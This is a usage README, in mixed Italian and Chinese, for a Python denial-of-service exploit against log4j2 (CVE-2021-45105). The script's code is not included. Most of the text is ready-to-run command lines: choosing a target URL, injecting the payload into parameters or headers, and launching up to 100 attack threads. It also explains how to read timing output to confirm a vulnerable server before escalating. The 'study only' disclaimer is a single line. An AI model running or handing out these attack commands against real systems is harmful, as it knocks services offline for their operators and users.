
exploit DoS log4j2, exploit CVE-2021-45105, PoC Denial of Service
author: 我超怕的
blog: https://www.cnblogs.com/iAmSoScArEd/
github: https://github.com/iAmSOScArEd/
date: 2021-12-20
Exploit DoS log4j2
Script di exploit DoS per log4j2
Exploit CVE-2021-45105
Script di exploit per CVE-2021-45105
Log4j2_dos.py -u <url> -m <method> -d <params> -H <header> -l <loop> -t <thread>
-u,--url attack target
-m,--method http method, only get and post. default is get.
-d,--data get or post params, json format like:{\"username\":\"\"}
-H,--header request header, json format like:{\"user-agent\":\"\"}
-l,--loop payload loop times (or length),default 100.it is determine where is the params, example get param max length or post param max length or request header max length
-t,--thread attack thread. default is 0, just request once.
usage:
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"}
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"} -l 500 -t 100
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -l 500
Log4j2_dos.py -u http://url.com/ -m post -H {\"user-agent\":\"\"} -l 500 -t 100
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -H {\"user-agent\":\"\"} -l 500
-l (--loop) il valore va impostato separatamente a seconda dello scenario: non è che più grande è, meglio è. Se supera la lunghezza che il server web può accettare, potrebbe far fallire il rilevamento dell'attacco e non produrre alcun effetto.
Formato di output:
[+] normal time:0.11111
[+] attack time:2.00000
Se attack time - normal time > 1 o giù di lì, potrebbe esistere una vulnerabilità; puoi usare il parametro -t per impostare i thread di attacco.
Log4j2_dos.py -u <url> -m <method> -d <params> -H <header> -l <loop> -t <thread>
-u,--url 攻击目标
-m,--method 默认为get,http方式,仅支持get和post
-d,--data get或post请求参数,json格式,如:{\"username\":\"\"}
-H,--header 请求头, json格式, 如:{\"user-agent\":\"\"}
-l,--loop 默认为100,payload循环长度,根据参数在不同的位置,设置不同的数值,如请求头最大允许长度、get最大长度、post最大长度
-t,--thread 默认为0,表示仅请求一次。攻击线程。
常见用法:
# 默认get,100个payload循环,攻击探测一次,在username参数中添加攻击payload
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"}
# 默认get,设置500个payload循环,发起100个攻击线程,在username参数中添加攻击payload
Log4j2_dos.py -u http://url.com/ -d {\"username\":\"\"} -l 500 -t 100
# 指定POST,设置500个payload循环,攻击探测一次,在username参数中添加攻击payload
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -l 500
# 指定POST,设置500个payload循环,发起100个攻击线程,在user-agent请求头中添加攻击payload
Log4j2_dos.py -u http://url.com/ -m post -H {\"user-agent\":\"\"} -l 500 -t 100
# 指定POST,设置500个payload循环,攻击探测一次,在username参数和user-agent请求头中添加攻击payload
Log4j2_dos.py -u http://url.com/ -m post -d {\"username\":\"\"} -H {\"user-agent\":\"\"} -l 500
-l(--loop) il valore va impostato separatamente in base allo scenario: non è che più grande è, meglio è. Se supera la lunghezza massima accettata dal server web, potrebbe far fallire il rilevamento dell'attacco e non produrre alcun effetto.
Formato di output:
[+] normal time:0.11111
[+] attack time:2.00000
Se il ritardo di attack time è molto grande, significa che la vulnerabilità esiste; puoi usare il parametro -t per impostare i thread di attacco.
Non usarlo per scopi illegali; è solo per studio e riferimento. Non sono responsabile di alcuna attività illegale.
(Inglese approssimativo, non tradotto, accontentatevi.)
By:我超怕的